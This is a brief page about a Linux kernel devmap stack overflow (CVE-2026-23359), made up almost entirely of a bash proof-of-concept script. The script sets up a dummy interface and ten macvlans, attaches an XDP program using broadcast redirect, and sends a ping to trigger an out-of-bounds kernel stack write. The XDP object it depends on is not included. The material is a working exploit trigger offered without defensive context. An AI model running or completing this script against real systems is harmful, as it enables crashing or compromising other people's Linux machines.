CVE-2026-23359: Linux内核devmap栈溢出漏洞

#!/bin/bash # PoC script to trigger CVE-2026-23359 # Requires an eBPF program compiled with BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS # 1. Create a dummy interface ip link add dev test_dummy0 type dummy ip link set test_dummy0 up # 2. Create more than MAX_NEST_DEV (8) macvlans for i in {1..10} do ip link add link test_dummy0 name mv$i type macvlan mode bridge ip link set mv$i up done # 3. Load the malicious XDP program (xdp_poc.o) # This program must use the redirect helper with broadcast flags ip link set dev test_dummy0 xdp obj xdp_poc.o sec xdp # 4. Send a packet to trigger the OOB write # This causes get_upper_ifindexes to write > 9 items to the stack array ping -c 1 192.0.2.1